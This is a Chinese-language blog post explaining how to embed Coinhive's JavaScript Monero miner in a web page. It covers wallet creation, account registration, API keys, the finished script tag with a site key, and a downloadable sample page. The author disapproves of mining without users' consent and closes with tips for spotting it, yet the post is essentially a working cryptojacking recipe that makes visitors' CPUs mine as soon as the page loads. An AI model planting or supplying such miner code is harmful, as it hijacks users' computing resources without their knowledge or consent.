JS挖矿 - 门罗币是如何利用网页挖矿的?

扫描二维码

最近看到一种利用网页Javascript来挖矿的东东,介绍给大家。网页中嵌入Javascript, 一旦用户打开该网站,浏览器便会按照脚本的指令变成一个门罗币挖矿机。这一段附加的挖矿代码通常因为大量占用CPU,使用户的计算机变得异常卡顿甚至无法正常使用。

这样的网站会嵌入了Coinhive JavaScript Miner代码。该代码是基于CryptoNight挖矿算法编写,该算法可以产出CryptoNote类网络货币,如Monero(门罗币)、Dashcoin(达世币),DarkNetCoin(暗网币)等。而嵌入的这个Coinhive JavaScript Miner则仅支持门罗币的挖矿。

那么怎么来让JS脚本挖矿呢?这中间还需要几个步骤。我个人不赞成这种未经用户同意靠牺牲用户体验来让网站挖矿的行为。了解其中的实现方式,开拓下思路还是非常有意思的。下面就介绍下具体的操作。

一、注册门罗币钱包,获取钱包地址

钱包下载网址:https://getmonero.org/downloads/

根据你的系统下载相应的程序就好了。我这里用的是:Mac OS X, 64-bit
软件大小:157.9M

1、创建一个新钱包


按提示一步步操作就好了

2、最后设置成功

3、最后的应用界面如下:

注意下你的收款地址,后面会用到

二、注册挖矿平台

注册链接:https://coinhive.com/account/signup

1、注册账号

2、进入设置->设置支付信息

此处的地址为你刚才的钱包地址

3、设置API Keys

这个key会在后面获取挖矿代码时用到

三、获取挖矿代码

获取代码地址:https://coinhive.com/documentation/miner

最终生成的JS代码如下:

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
    var miner = new CoinHive.Anonymous('owKfejRSL0VFfudvO4G03e8dbMYKsQBH');
    miner.start();
</script>

我写了一个非常简单的html页面,你可以下载下来运行或者参考,下载地址:
http://oyim09vvu.bkt.clouddn.com/xmr.html

四、运行效果

可以看到CPU明显飙升,关掉网页,立马就降下来了

这时候你去Dashboard上就能查看挖矿进展。

访问地址: https://coinhive.com/dashboard

当前门罗币的价格是¥579左右

最后,以上就是要介绍的全部内容。这个利用JS挖矿的思路,作为一个web开发者还是觉得挺有意思的。一段代码就可以整合大量的网上资源。但这种方式,在用户浏览的时候并没有告知用户,降低了用户的体验,并不能广泛的推广使用。下一次当你打开网页的时候,如果CPU风扇狂转的话,也许你就可以打开开发者工具查看下,这个网站是否在偷偷的利用你在挖矿,了解到这其中的门道了。